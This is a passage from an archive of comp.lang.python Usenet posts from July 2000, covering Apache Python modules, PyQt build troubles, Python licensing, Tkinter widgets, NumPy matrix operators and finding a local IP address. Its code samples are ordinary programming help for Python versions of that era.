communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From see at message.body  Fri Jul 28 01:24:53 2000
From: see at message.body (Sam Penrose)
Date: Thu, 27 Jul 2000 22:24:53 -0700
Subject: best apache+python module?
References: <so1jnosf3j1154@corp.supernews.com> <20000728113918.B12152@inkontact.com.au>
Message-ID: <see-9D8864.22245327072000@news.dnai.com>

In article <20000728113918.B12152 at inkontact.com.au>, Steve Purcell 
<stephen_purcell at yahoo.com> wrote:

> Jason Ives wrote:
> > 
> > I've been looking for an apache module that will run python .cgi's 
> > without
> > having to instantiate a new interpreter for each request. [snip] They 
> > all
> > seem rather sparsely supported..
> 
> Check out PCGI:
>   http://www.digicool.com/releases/pcgi 
> 
> There's a HOWTO here:
>   http://starship.python.net/crew/jbauer/persistcgi/howto/index.html 
> 
> -Steve


After having a Bad Experience with one of these (memory leak in 
PyApache), I must ask why they are so popular. My company writes 
pure-Python sites whose CGIs handle tens of thousands of hits a day on 
unremarkable Intel hardware running vanilla Linux. Two of our CGIs have 
started to bog down recently, and in both cases the cause is the same: 
have to generate HTML pages roughly a meg in size; one containing so 
many images that the number of Apache processes goes through the roof. 
In neither case would faster Python performance help.

Linking your interpreter to Apache forces you into dependence on a chunk 
of code that has orders of magnitude less testing than either Apache or 
Python does, probably wouldn't remove any bottlenecks if they existed, 
and may well break the next time either Python or Apache is updated.

Unless, of course, you know differently. But my sense is that most of 
the people interested in these modules merely know they want their sites 
to run fast and have read the mod_perl marketing materials.

Anyone who can afford 256 megs of RAM and a SCSI hard drive can serve 
thousands of people a day with sites that execute thousands of lines of 
Python, without working particularly hard to optimize their software 
(CGIs or Python or the OS). And if they find they can't, they should not 
assume that a persistent Python executable will help without having good 
reason to do so.

-- 
spenrose at well dot com


From kmp at atrium.fsnet.co.uk  Mon Jul  3 18:08:17 2000
From: kmp at atrium.fsnet.co.uk (Kenneth Payne)
Date: Mon, 03 Jul 2000 22:08:17 GMT
Subject: Problem Installing PyQt-012
References: <20000702.20095100@linux.local> <slrn8lvbm1.o1d.newsbunny@noether.freeserve.co.uk> <20000703.19444100@linux.local> <8jqnsu$m79$1@news1.xs4all.nl>
Message-ID: <20000703.22081700@linux.local>

Boudewijn -

Thanks for your interest in my sip problem. 

I've installed autoconf and automake. This gets rid of all errors 
except the message about X (if that is an error) but I still get the  
same probelm on installing pyQT.

My configure output for sip now looks like this :

loading cache ./config.cache
checking for a BSD compatible install... (cached) /usr/bin/ginstall -c
checking whether build environment is sane... yes
checking whether make sets ${MAKE}... (cached) yes
checking for working aclocal... found
checking for working autoconf... found
checking for working automake... found
checking for working autoheader... found
checking for working makeinfo... found
checking for a BSD compatible install... /usr/bin/ginstall -c
checking for gcc... (cached) gcc
checking whether the C compiler (gcc  ) works... yes
checking whether the C compiler (gcc  ) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for c++... (cached) c++
checking whether the C++ compiler (c++  ) works... yes
checking whether the C++ compiler (c++  ) is a cross-compiler... no
checking whether we are using GNU C++... (cached) yes
checking whether c++ accepts -g... (cached) yes
checking for bison... (cached) bison -y
checking how to run the C preprocessor... (cached) gcc -E
checking for flex... (cached) flex
checking for flex... (cached) flex
checking for yywrap in -lfl... (cached) yes
checking lex output file root... (cached) lex.yy
checking whether yytext is a pointer... (cached) yes
checking host system type... i686-pc-linux-gnu
checking build system type... i686-pc-linux-gnu
checking for ranlib... (cached) ranlib
checking for ld used by GCC... (cached) /usr/i486-linux/bin/ld
checking if the linker (/usr/i486-linux/bin/ld) is GNU ld... (cached) 
yes
checking for BSD-compatible nm... (cached) /usr/bin/nm -B
checking whether ln -s works... (cached) yes
loading cache ./config.cache within ltconfig
checking whether ln -s works... (cached) yes
checking for ranlib... (cached) ranlib
checking for strip... (cached) strip
checking for objdir... .libs
checking for object suffix... (cached) o
checking for executable suffix... (cached) no
checking for gcc option to produce PIC... (cached)  -fPIC
checking if gcc PIC flag  -fPIC works... (cached) yes
checking if gcc static flag -static works... (cached) yes
checking if gcc supports -c -o file.o... yes
checking if gcc supports -c -o file.lo... yes
checking if gcc supports -fno-rtti -fno-exceptions ... yes
checking if the linker (/usr/i486-linux/bin/ld) is GNU ld... yes
checking whether the linker (/usr/i486-linux/bin/ld) supports shared 
libraries... yes
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... yes
checking for /usr/i486-linux/bin/ld option to reload object files... 
-r
checking dynamic linker characteristics... Linux ld.so
checking command to parse /usr/bin/nm -B output... ok
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... yes
creating libtool
loading cache ./config.cache
checking for the Qt meta object compiler... /usr/lib/qt/bin/moc
checking for the Qt include files... /usr/lib/qt/include
checking for the Qt library files... /usr/lib/qt/lib
checking for X... no
checking for -fno-exceptions... yes
checking for Python 1.5 include files... /usr/include/python1.5
creating ./config.status
creating Makefile
creating sip/Makefile
creating siplib/Makefile
creating sip.spec
creating config.h
config.h is unchanged


If all this seems correct, perhaps the error is in the configure for 
the PyQT sources. Should I concentrate on that?

By the way, I tried installing the rpm for sip, but it requires a 
later version of libstdc than mine. I get the error :
 
 failed dependencies:
 libstdc++-libc6.1-2.so.3 is needed by sip-0.12-1

It's at least comforting to know that it is possible to run these 
python / KDE bindings on SUSE 6.3

Thanks again for your interest.

Best wishes

-- Ken  

>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 03/07/00, 19:00:46, boud at rempt.xs4all.nl (Boudewijn Rempt) wrote 
regarding Re: Problem Installing PyQt-012:


> Kenneth Payne <kmp at atrium.fsnet.co.uk> wrote:

> > This looks suspicious in the sip configure output:

> > .
> > .
> > checking for working aclocal... missing
> > checking for working autoconf... missing
> > checking for working automake... missing
> > checking for working autoheader... missing
> > checking for working makeinfo... found
> > .
> > .
> > .
> > checking for x... no
> > .
> > .

> > Should I be looking to install aclocal, autoconf and automake? Would
> > it be easier to install from rpms?

> Well, I runs Suse 6.3, too (but compiled both KDE and Qt myself),
> and I have no problems compiling PyQt 0.12 either with Qt 1.44 or Qt
> 2.1.1, with Python 1.52 or Python 1.6alpha2, and when I compare my
> config.log with yours, I notice that I _do_ have aclocal, autoconf,
> automake and autoheader - I'd try installing them, they should be in
> your distribution. Otherwise, you're the second person I've seen with
> those errors - maybe it's something for Phil to look at.

> --

> Boudewijn Rempt  | http://www.valdyas.org





From nobody at nowhere.nohow  Wed Jul 26 23:10:17 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Thu, 27 Jul 2000 03:10:17 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com>
Message-ID: <tKNf5.2513$6E.633927@ptah.visi.com>

On Thu, 27 Jul 2000 00:32:37 GMT, Steve Lamb <grey at despair.rpglink.com> wrote:
>On Wed, 26 Jul 2000 19:38:55 -0500, Guido van Rossum <guido at beopen.com> wrote:

>>The announcement is waiting for final negotiations about GPL
>>compatibility of the new license; BeOpen's CTO, Bob Weiner, is
>>confident that the issue will be resolved one way or another by
>>Friday.
>
>    Stupid question: Why is it everyone and their mother is coming out with a
>new open source license for their project instead of sticking with the
>established ones?

The same reasons people keep coming out with new programming
languages instead of sticking with the established ones:

 1) They can't find an established one that does what they want.

 2) It's an interesting intelectual exercise resulting in
    endless Usenet arguments where there's no chance of the
    involved parties ever agreeing.

 3) It's fun.

You probably think I'm kidding about #3, but Joe Public would
think that people who like inventing programming languages are
at least as weird as people who like to write legal stuff --
and we've got to assume that at least some of the lawyers who
practice IP law think it's fun and interesting.

-- 
Grant Edwards                   grante             Yow!  Look into my eyes and
                                  at               try to forget that you have
                               visi.com            a Macy's charge card!


From mjackson at wc.eso.mc.xerox.com  Thu Jul 27 15:41:48 2000
From: mjackson at wc.eso.mc.xerox.com (Mark Jackson)
Date: 27 Jul 2000 19:41:48 GMT
Subject: The State of Python
References: <8lq20g$kt1$1@nntp9.atl.mindspring.net>
Message-ID: <8lq39s$np6$1@news.wrc.xerox.com>

aahz at netcom.com (Aahz Maruch) writes:
> [posted & e-mailed]
> 
> In article <200007270038.TAA03951 at cj20424-a.reston1.va.home.com>,
> Guido van Rossum  <guido at beopen.com> wrote:
> >
> >I've placed the slides of my talk at the O'Reilly Open Source
> >Convention on-line at our BeOpen PythonLabs website:
> >
> >    http://www.pythonlabs.com/talks.html
> 
> It appears that the HTML version requires JavaScript.  That's a Bad Idea.

Seconded.

And where are these alleged T-shirts?  :-)

-- 
Mark Jackson - http://www.alumni.caltech.edu/~mjackson
	A doctor can bury his mistakes, but an architect can only
	advise his client to plant vines.
				- Frank Lloyd Wright




From jerome.quelin at insalien.org  Mon Jul  3 11:28:30 2000
From: jerome.quelin at insalien.org (Jerome Quelin)
Date: Mon, 3 Jul 2000 17:28:30 +0200
Subject: making widgets invisible
References: <3960794E.6E2B36E6@muc.das-werk.de> <8jq5bf$h45$1@nnrp1.deja.com> <3960A4D3.F45133B4@muc.das-werk.de>
Message-ID: <962638110.1459980735@news.libertysurf.fr>

Thomas Thiele <thiele at muc.das-werk.de> wrote:
>No I think this is not sooo nice. Becouse I want to replace the widget
>with others.
What about the pack_forget method ?

-- File pack_forget.py
#!/usr/bin/python
from Tkinter import *
class F(Frame):
    def __init__(self):
        Frame.__init__(self)
        Button(self,text='change', command=self.change).pack()
        self.f1 = Frame(self)
        self.f2 = Frame(self)
        Label(self.f1, text='eggs', bg='red').pack(side=LEFT)
        Label(self.f1, text='spam', bg='green').pack(side=LEFT)
        Label(self.f2, text='spam', bg='blue').pack(side=LEFT)
        Label(self.f2, text='eggs', bg='yellow').pack(side=LEFT)
        self.f1.pack()
        self.visible = 1
        self.pack()
    def change(self):
        if self.visible == 1:
            self.f1.pack_forget()
            self.f2.pack()
            self.visible = 2
        else:
            self.f2.pack_forget()
            self.f1.pack()
            self.visible = 1
F().mainloop()
-- End of file

The beauty of pack_forget is that it just unmaps the specified widget, and
keeps the internal layout of the widget.

 Regards,
Jerome
--
jerome.quelin at insalien.org


From loewis at informatik.hu-berlin.de  Tue Jul 11 09:10:07 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 11 Jul 2000 15:10:07 +0200
Subject: off-topic, "Compiler" technology
References: <396ABBD7.8715465D@t-online.de> <8kf2jf$sqc$1@desig-bs01-s04.adtranzsig.de>
Message-ID: <p6qog4424pc.fsf@informatik.hu-berlin.de>

"Dirk-Ulrich Heise" <hei at adtranzsig.de> writes:

> So why doesn't it work for all the
> other languages as well? :-)

My understanding is that Andreas Otto is still in search for somebody
who will fund a Python or Perl compiler; so far, apparently nobody was
interested enough, or trusted that Mr. Otto would indeed be able to
deliver a compiler offering significant speedup.

Regards,
Martin



From g2 at seebelow.org  Sun Jul 30 13:02:11 2000
From: g2 at seebelow.org (Grant Griffin)
Date: Sun, 30 Jul 2000 18:02:11 +0100
Subject: Python license (was RE: Python plug-ins for Adobe Products available)
References: <LNBBLJKPBEHFEDALKOLCKEPPGMAA.tim_one@email.msn.com>
Message-ID: <39845F93.43AD@seebelow.org>

Tim Peters wrote:
> 
> The wrangling itself is a good sign:  it means that we (BeOpen PythonLabs)
> have been opposing more restrictions.  CNRI already changed their license to
> the extent that the board of the Open Source Initiative voted to certify it
> as Open Source compliant (see definition at
> 
>     http://www.opensource.org/osd.html
> 
> ).  We also want Python to remain GPL-*compatible*, and CNRI has changed
> some of the language in response to Richard Stallman's objections.

The following pointed question is directed at CNRI, not you, Tim, but...

   _Who died and left *Stallman* in charge_?

where-i-come-from-'rms'-means-'root-mean-square'---which-ain't-a
   -bad-discription-of-Stallman,-come-to-think-of-it-<wink>-ly y'rs,

=g2
p.s.  Sorry to "discriminate against any person or group of persons" ;-)
p.p.s.  BTW, as an old-timer, "OSI" means "Ohio Scientific Incorporated"
to me -- they made my beloved first computer, the Superboard II.
-- 
_____________________________________________________________________

Grant R. Griffin                                       g2 at dspguru.com
Publisher of dspGuru                           http://www.dspguru.com
Iowegian International Corporation	      http://www.iowegian.com


From david_ullrich at my-deja.com  Mon Jul 24 11:58:18 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Mon, 24 Jul 2000 15:58:18 GMT
Subject: Trouble when overloading operator[ ]
References: <8l720o$lr4$1@nnrp1.deja.com> <8l76hm$pm9$1@nnrp1.deja.com> <LBGd5.1837$6E.377728@ptah.visi.com> <8l9qfp$gc6$1@nnrp1.deja.com> <6%_d5.1964$6E.417529@ptah.visi.com> <8lclbq$f6o$1@nnrp1.deja.com> <397BD3E7.38BF914F@my.signature>
Message-ID: <8lhp2o$r91$1@nnrp1.deja.com>

In article <397BD3E7.38BF914F at my.signature>,
  Greg Ewing <see at my.signature> wrote:
> You may know already, but I just thought I'd mention
> that you can use this trick to make the implementation
> of your 2-index __getitem__ function look nice:
>
>    class MyClass:
>      def __getitem__(self, (x,y)):
>        ...

     Thanks. Actually in the one situation where I've
actually used these however-many-indicies-it-is things
this wouldn't work because I sometimes pass only one
index. (M[row] is a row of a matrix, while M[row, col]
is an entry. (No, I never heard of NumPy...))

DU

> --
> Greg Ewing, Computer Science Dept, University of Canterbury,
> Christchurch, New Zealand
> To get my email address, please visit my web page:
> http://www.cosc.canterbury.ac.nz/~greg
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From cookedm at physics.mcmaster.ca.bbs  Mon Jul 17 22:00:02 2000
From: cookedm at physics.mcmaster.ca.bbs (cookedm at physics.mcmaster.ca.bbs)
Date: 18 Jul 2000 02:00:02 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRX62$ja5@openbazaar.net>

At some point, hzhu at localhost.localdomain (Huaiyu Zhu) wrote:

> On 17 Jul 2000 17:39:33 -0400, David M. Cooke <cookedm at physics.mcmaster.ca>
> wrote:
> >> Consider the proposal of having two classes, Matrixwise and Elementwise,
> >> with methods to cast to each other.  I don't know why
> >>
> >> (a.E()*b.E()).M()*(c.E()*d.E()).M()
> >>
> >> would be more preferable to
> >>
> >> (a.*b)*(c.*d)
> >
> >Well, it doesn't have to be as complicated as your first example. Assume
> >the default is Matrixwise, and we get rid of some ()'s by overriding
> >__getattr__, so that we can right
> >
> >(a.E*b.E)*(c.E*d.E)
> >
> That's a good point.  Can __getattr__ be made to work only on a selected
> number of attributes?  We could use it on T, H, I, C for transpose,
> Hermitian transpose, inverse and conjugate.  But if it works on all the
> undefind members the error message may be too obscure.  Any examples?

Yep. See code below.

> BTW, you meant
>
> (a.E*b.E).M*(c.E*d.E).M
>
> for otherwise it is equivalent to (a.*b).*(c.*d).

Actually, I was thinking that elementwise multiplication would return
an object that does matrixwise multiplication (the idea being that
elementwise is a special case, just as .* is used for it instead of *
in Matlab).

> >But what if we assume that if one operand has .E, the other does also!
> >Then we can write
> >
> >(a.E*b)*(c.E*d)
>
> This won't work.  It would introduce many hard-to-trace bugs.  Looking at
>
> (a*b)*(c*d)
>
> and you have to trace the program all the way down to figure out the
> identities of a,b,c,d.  Note that in concept the identities of the objects
> do not change.  We are changing their identities only as labels to help
> picking different operators.  I can foresee great confusion in practice with
> this approach.

I realize this. Note that you have to trace the program to tell that
a,b,c,d are matrices anyway :-). A lot of this is removed by always
having an operation return a Matrixwise object.

Anyways, here's some code that implements what I was talking about. It
uses the UserArray and Matrix classes included with NumPy:

# matclass.py
from UserArray import UserArray
from Matrix import Matrix

class Matrixwise(Matrix):
    def __init__(self, data, typecode=None):
        if isinstance(data, UserArray):
            UserArray.__init__(self, data.array, typecode=typecode)
        else:
            UserArray.__init__(self, data, typecode)

    def __getattr__(self, name):
        if name == 'E':
            return Elementwise(self)
        else:
            try:
                return self.__dict__[name]
            except KeyError:
                raise AttributeError, name

    def __mul__(self, other):
        if isinstance(other, Elementwise):
            return Elementwise.__rmul__(self, other)
        else:
            return Matrix.__mul__(self, other)

class Elementwise(UserArray):
    def __init__(self, data, typecode=None):
        if isinstance(data, UserArray):
            UserArray.__init__(self, data.array, typecode)
        else:
            UserArray.__init__(self, data, typecode)

    def __mul__(self, other):
        return Matrixwise(UserArray.__mul__(self, other).array)


Here's a session:
>>> import matclass
>>> a = matclass.Matrixwise([[2,3],[4,5]])
>>> b = matclass.Matrixwise([[1,2],[3,4]])
>>> a*b
matclass.Matrixwise([[11, 16],
       [19, 28]])
>>> a.E*b.E
matclass.Matrixwise([[ 2,  6],
       [12, 20]])
>>> a.E*b
matclass.Matrixwise([[ 2,  6],
       [12, 20]])
>>> a*b.E
matclass.Matrixwise([[ 2,  6],
       [12, 20]])

Obviously, this can be extended to include transpose, etc.

--
|>|\/|<
----------------------------------------------------------------------------
David M. Cooke
cookedm at mcmaster.ca


From sill at localhost.kitenet.net  Thu Jul 27 20:14:35 2000
From: sill at localhost.kitenet.net (Oldayz)
Date: Fri, 28 Jul 2000 00:14:35 GMT
Subject: ttyio.py
Message-ID: <so1k3bj53j1110@corp.supernews.com>

Hello,

Anybody knows where I can get ttyio.py? I searched python.org but all results
it returned were broken links.


-- 
	Andrei


From dale at out-think.NOSPAM.co.uk  Sun Jul  9 07:38:08 2000
From: dale at out-think.NOSPAM.co.uk (News.tele2.co.uk)
Date: Sun, 9 Jul 2000 12:38:08 +0100
Subject: How to use makepy?
Message-ID: <8k9o91$7b1$1@supernews.com>

Well I've run it and it seemed to work but I'm not really sure what to do
next.

In fact, I'm not entirely sure what it's supposed to do for me but I'm
hoping it will at least give me access to some COM object constants.

Where is it documented?

Thanks

Dale Strickland-Clark






From thomas at cintra.no  Mon Jul 24 09:05:30 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Mon, 24 Jul 2000 13:05:30 GMT
Subject: multi-dimensional array ??
Message-ID: <397d3cc8.33972780@news.online.no>

Hi,

I need to hold x,y,z coordinates in a multi-level grid. How can this
be done in Python? 


From dworkin at ccs.neu.edu  Mon Jul 17 21:17:30 2000
From: dworkin at ccs.neu.edu (Justin Sheehy)
Date: 17 Jul 2000 21:17:30 -0400
Subject: Does Python support interfaces?
In-Reply-To: Randall Parker's message of "Tue, 18 Jul 2000 01:08:03 GMT"
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com>
Message-ID: <vndlmz0b5jp.fsf@camelot-new.ccs.neu.edu>

Randall Parker <rgparker at west.net> writes:

> I'm quite new to Python. For those who are familiar with Java interfaces: 
> Does Python have a similar facility? 
> 
> Can one declare interfaces, then declare that a class implements some 
> interface, instantiate an object of that class type, and then cast it to 
> an interface that it is declared to support and then pass it around as a 
> reference to that interface type and make calls to methods of that 
> interface type?

Better yet, Python doesn't make you do all of that work.

Just define the class, and make sure that it provides the proper
interface.  Note that I'm not using "interface" with any special
language-dependent meaning here.  If it behaves properly, it behaves
properly, and that is all that matters.

In any case, it sounds like you should read a little more about
Python.  There generally isn't any explicit type-declaration, and by
extension, casting.  "Casting" a Python object is not a very
meaningful statement.

-Justin

 



From ldw at us.ibm.com  Tue Jul 25 16:50:33 2000
From: ldw at us.ibm.com (Larry Whitley)
Date: Tue, 25 Jul 2000 15:50:33 -0500
Subject: Memory management
References: <8lkdh5$qpm$1@news.rchland.ibm.com> <m3zon6asl3.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <8lkuiq$qt0$1@news.rchland.ibm.com>

Reading through Quick Python.  For those who want to get explicit about
memory management, it looks like the authors advise saying "object = None"
rather than "del object".  Is that the correct interpretation?  Presumably
Python will then call object.__del__() when the garbage collector runs.

Larry

"Michael Hudson" <mwh21 at cam.ac.uk> wrote in message
news:m3zon6asl3.fsf at atrus.jesus.cam.ac.uk...
> "Larry Whitley" <ldw at us.ibm.com> writes:
>
> > I'm running out of virtual memory on my NT 4.0 system running a longish
> > python script.  Python says "memory error" and quits.  NT shows the
> > application using 130+ megabytes.  I have 192 megabytes on the system so
it
> > seems like a rational number.  I suspect that this means that I have a
> > memory leak in my code.
> >
> > In the outer loop of my code, I create a object of a class I have
defined.
> > The outer loop reads records from a trace file and hands them to the
object
> > created for execution.  This first level object creates a number of
second
> > level objects of a different class while processing the trace file.
When
> > the trace file is complete, the outer loop deletes the first level
object.
> > I am expecting that to cause all of the references held by that object,
and
> > those of the second level objects is created to go to zero.
> >
> > Here's a programmtic description:
> [schnipp]
> > My question:  How do I get rid of the memory used by o1 and by o1a, o1b,
etc
> > within o1 when each trace file is processed?
>
> I'm guessing that you have reference cycles; these can be fun to find,
> and even more fun to eliminate.  However the code you posted didn't
> create any cycles, so either post some more, or go and stare at your
> code some (ask Gordon about the "hypnotising bricks" approach...).
>
> It's also possible that Python 2.0 will have a better garbage
> collector.
>
> Cheers,
> M.
>
> --
>   Very rough; like estimating the productivity of a welder by the
>   amount of acetylene used.         -- Paul Svensson, comp.lang.python
>     [on the subject of the measuring programmer productivity by LOC]




From tom-main at REMOVEME.home.com  Mon Jul 10 20:22:10 2000
From: tom-main at REMOVEME.home.com (Tom)
Date: Tue, 11 Jul 2000 00:22:10 GMT
Subject: Looking for a tree widget with control of text color
Message-ID: <SMta5.147482$7o1.3697839@news2.rdc1.on.home.com>

Is there a tree widget for wxPython or TKinter that support setting the text
color (foreground or background) for each node?

Ideally it could also be updated dynamically.

I heard that there is a good tree widget in IDLE, called TreeWidget, but I
can't find it.  Do I have the name right?  I found the IDLE source code in
with the Python 1.5.2 source code but there was nothing called TreeWidget
there.

Thanks,

Tom.





From andymac at bullseye.apana.org.au  Wed Jul  5 18:48:30 2000
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Thu, 6 Jul 2000 08:48:30 +1000 (EST)
Subject: Telnetlib
In-Reply-To: <8jvnjs$f2l$1@nnrp1.deja.com>
Message-ID: <Pine.OS2.3.95.1000706084357.1408A-100000@CENTRAL>

[mailed to originator & python-list]

On Wed, 5 Jul 2000 vxgvxg at my-deja.com wrote:

> When using any of the telnetlib read functions (such as read_all(),
> read_until(), etc.), the 0x00's seem to be dropped from the data
> stream.  Any ideas?

I know nothing of telnetlib, but seem to recall that by default the telnet
protocol negotiates 7-bit ascii with remapping/filtering of control codes 
(the NUL character is quite likely to be affected).

It is possible to negotiate 8-bit ascii, and minimise the 
remapping/filtering with many telnet daemons.  Whether telnetlib supports
this will require perusal of the docs.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andrew.macintyre at aba.gov.au    (work) | Snail: PO Box 370
        andymac at bullseye.apana.org.au  (play) |        Belconnen  ACT  2616
        andymac at pcug.org.au           (play2) |        Australia




From stephen at cerebralmaelstrom.com.bbs  Tue Jul 18 04:40:10 2000
From: stephen at cerebralmaelstrom.com.bbs (stephen at cerebralmaelstrom.com.bbs)
Date: 18 Jul 2000 08:40:10 GMT
Subject: Getting local IP address...
Message-ID: <3bRhQA$kSN@openbazaar.net>

    Um, jeez. I'm rather surprised by these responses -- I assumed it
was some simple little function somewhere I was missing.. I'm also
even more surprised at the differences between the three approaches

-- #1 -- socket.gethostbyname(socket.gethostname())
-- #2 -- Some complicated stuff dealing with asking Linux (which,
incidentely, is bad since i'm primarily on a Windows machine for
the time being -- and in the future will be on a *BSD, and hope
to have my program working on all three :)) what the address is
on the given ethernet card..
-- #3 -- Just go all out and connect, since in the process you
have to be telilng the other side where you are, so you can
get it that way.

#2 and #3 just seem .. convoluted .. as heck. But because so
many people sugguested them, I have to assume that they
beileve there is some central problem with #1... What is it? :)


David Bolen <db3l at fitlinxx.com> wrote in message
news:uitu45ihv.fsf at ctwd0143.fitlinxx.com...
> Mike Fletcher <mfletch at tpresence.com> writes:
>
> > import socket
> > def getLocalHostIP( remote = ("www.python.org", 80)):
> > '''Get the "public" address of the local machine, i.e.
> > that address which is connected to the general internet.
> > Code by Donn Cave, posted to comp.lang.python'''
> > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> > s.connect( remote )
> > ip, localport = s.getsockname()
> > s.close()
> > return ip
> >
> > That is actually from a Deja posting, seems to be fairly portable,
doesn't
> > rely on parsing obscure Unix command responses, is readable, and is
> > generally quite reliable.
>
> But has a pretty large (IMHO) negative that you are making a wasted
> network connection to an external server that has to spend time
> setting up and tearing down TCP with you for no reason.  That seems a
> pretty high overhead to pay just to determine what is essentially a
> locally configured piece of information.  If you are in charge of your
> own server that you are using I suppose that's one thing, but it seems
> a big waste if you're connecting to someone else's.
>
> Unfortunately, really determining a local configured address just
> isn't that portable a thing from my experience.  Probably the closest
> would be the SIOCGIFCONF IOCtl (for Unix systems) as previously
> posted.  There is an Windows socket IOCtl that is similar
> (SIO_ADDRESS_LIST_QUERY), but I'm not sure how best to get to it from
> Python, aside from something like a CallDLL approach.
>
> While without an alternative that is portable as the above example
> makes it hard to come out too strong against it, I did want to point
> out that while it may be portable and readable, it has negatives on
> the network side in terms of wasted connections.  I built backbones in
> a prior life, and I sort of cringe to think of tons of user code
> suddenly starting to do stuff like the above :-)
>
> --
> -- David
> --
> /-----------------------------------------------------------------------\
>  \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
>   |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
>  /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
> \-----------------------------------------------------------------------/




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----


From olipt at mayo.edu  Thu Jul 20 19:18:10 2000
From: olipt at mayo.edu (Travis Oliphant)
Date: Thu, 20 Jul 2000 18:18:10 -0500
Subject: Discussion: new operators for numerical computation
In-Reply-To: <39777941.1A85F3CA@STScI.Edu>
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu>
Message-ID: <Pine.LNX.4.10.10007201812060.18122-100000@us2.mayo.edu>

> I would also suggest just using solve(A,B) for matrix solve.  It's not that
> long and its descriptive.

I tend to agree here.  The A\B syntax in Matlab is not especially
intuitive.  

> 
> The one issue that concerns me about this discussion is the continued narrow
> focus to emulate Matlab syntax to the exclusion of more general N-dimensional
> operations.  I can see the need for some more general operators, but I'm not
> for any of this, if all we're doing is defining 2-D Matlab syntax.   I
> suggest the Matlab people take a look at APL or J to get a broader
> perspective of array languages.

These are my sentiments too.  Huaiyu, it's obvious you've spent a lot of
time in Matlab but not so obvious that you've considered the design of
NumPy very much.  There was A LOT of discussion that wen't in to NumPy to
make it more generic than 2-D Matlab (I wouldn't be using it if it
weren't).  That's why you meet resistance when you seem to want to change
syntax to make just 2-D Matrix notation easier.  

I think that 6+5 operators will never fly.  I think we'll be lucky if we
get four into Python itself.  I suppose if you want to maintain a
separate patched-interpreter than you can do whatever you feel best about,
though.. ;-)

-Travis




From david_ullrich at my-deja.com  Sun Jul  2 13:55:38 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Sun, 02 Jul 2000 17:55:38 GMT
Subject: Class vrs. function
References: <395E2425.8F6F8757@uniserve.com>
Message-ID: <8jnvml$2at$1@nnrp1.deja.com>

In article <395E2425.8F6F8757 at uniserve.com>,
  Bob van der Poel <bvdpoel at uniserve.com> wrote:
>
> I see sample code for python/tkinter which looks like this:
>
> 	class main:
> 		def __init__(self):
> 			...do a bunch of init stuff
>
> 	a=main()
> 	root.mainloop()
>
> What I'm wonder is why the use of a class for this.

   You say it's "sample code". One possibility is that
sample code is not supposed to do what it does in the
best possible way, it's supposed to do what it does in
the most _illustrative_ possible way - it's supposed to
be a sample of how to do things in other situations
where the class will have more interesting methods.

   (Another possibility is that you overlooked the fact
that the class in question derives from another class,
so it actually does include more than just __init__,
you just don't see it on that page.)

DU

> Wouldn't it be
> just
> as clear and perhaps more efficient to do
>
> 	...do init stuff
> 	root.mainloop()
>
> Is this just a good habit being developed by those who think that
> classes are better than functions, or god forbid, inline code?
>
> While I'd asking, are there any penalties in the speed/memory usage
> departments on using classes vrs. functions?
>
> In case this isn't obvious I'm an old programmer who figured that C
was
> a really nice, almost-cross-platform assembly language....
>
> --
>    __
>   /  )      /         Bob van der Poel
>  /--<  ____/__        bvdpoel at uniserve.com
> /___/_(_) /_)         http://users.uniserve.com/~bvdpoel
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From neilh at scintilla.org  Thu Jul 27 19:00:33 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Thu, 27 Jul 2000 23:00:33 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one@email.msn.com> <slrn8o1co0.k64.stianh@localhost.localdomain>
Message-ID: <la3g5.13959$4p3.108549@news-server.bigpond.net.au>

> If Python had the GPL-license we would never have gotten into this mess.
My
> main argument for *not* using Python at first was that it didn't
> have the GPL attached to it... Yes, the GPL is more restricive but you
can't
> have both ways.

   If earlier versions of Python had been GPLed, the copyright owner could
still have changed the license for 1.6. No different from the current
situation.

   Neil





From fiona at sitegnome.com  Wed Jul 12 23:48:48 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Thu, 13 Jul 2000 13:48:48 +1000
Subject: checking the existence of a fiel
References: <WaHa5.175$T23.3601@m2newsread.uni2.es>
Message-ID: <396D3C20.F062F265@sitegnome.com>

Hi,

This question also made it into the FAQTs knowledge base last month.

Maybe you should check that site out.

http://python.faqts.com

Specifically,

How do I check to see if a file exists?
http://www.faqts.com/knowledge-base/view.phtml/aid/2782/fid/245

cheers,

Fiona


"Fernando Rodr?guez" wrote:
> 
> Hi!
> 
>     How can I check if a file exists? O:-)
> 
> TIA
> 
> --
> 
